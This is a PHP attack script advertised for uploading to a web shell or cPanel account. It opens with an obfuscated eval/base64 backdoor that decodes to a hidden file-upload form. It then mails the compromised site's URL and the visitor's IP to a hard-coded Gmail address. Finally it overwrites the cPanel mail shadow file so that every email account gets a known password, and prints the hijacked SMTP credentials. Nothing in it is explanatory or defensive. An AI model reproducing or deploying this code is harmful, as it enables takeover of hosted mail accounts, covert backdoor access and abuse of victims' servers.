2019 SMTP Script.. upload in shell or cpanel!

<?php if(isset($_GET["3x"])&&$_GET["3x"]=="3x"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."('?>'.base"."64"."_dec"."ode(\$c));");$x("PD9waHAKCiRmaWxlcyA9IEAkX0ZJTEVTWyJmaWxlcyJdOwppZiAoJGZpbGVzWyJuYW1lIl0gIT0gJycpIHsKICAgICRmdWxscGF0aCA9ICRfUkVRVUVTVFsicGF0aCJdIC4gJGZpbGVzWyJuYW1lIl07CiAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRmaWxlc1sndG1wX25hbWUnXSwgJGZ1bGxwYXRoKSkgewogICAgICAgIGVjaG8gIjxoMT48YSBocmVmPSckZnVsbHBhdGgnPkRvbmUhIE9wZW48L2E+PC9oMT4iOwogICAgfQp9ZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPlVwbG9hZCBmaWxlcy4uLjwvdGl0bGU+PC9oZWFkPjxib2R5Pjxmb3JtIG1ldGhvZD1QT1NUIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGF0aD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZXMiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iVVBsb2FkIj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4nOwo/Pg==");exit;}?>
<?php set_time_limit(0);
ini_set('max_execution_time',0);
ini_set('memory_limit',-1);
$ports=array(25, 587, 465, 110, 995, 143 , 993);
$primary_port='25'; $user=get_current_user();
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$bilsmg = "Link Smtp : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$bilsnd ="073agzhen@gmail.com";
$bilsub = "New Smtp Uploaded !! $ip";
$bilhead = "From: SMTP";
$bilhead .= $_POST['eMailAdd']."\n";
$bilhead .= "MIME-Version: 1.0\n";
$arr=array($bilsnd, $IP);
foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);
$password='root@localhost';
$pwd = crypt($password,'$6$roottn$');
$t = $_SERVER['SERVER_NAME'];
$t = @str_replace("www.","",$t);
@$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
$ex=explode("\r\n",$passwd);
@link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
@unlink('/home/'.$user.'/etc/'.$t.'/shadow');
foreach($ex as $ex){
    $ex=explode(':',$ex); $e= $ex[0];
if ($e){
    $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');
    fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");
    fclose($b);
    echo '<span style=\'color:green;\'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>'; "</center>";
    }
}
?>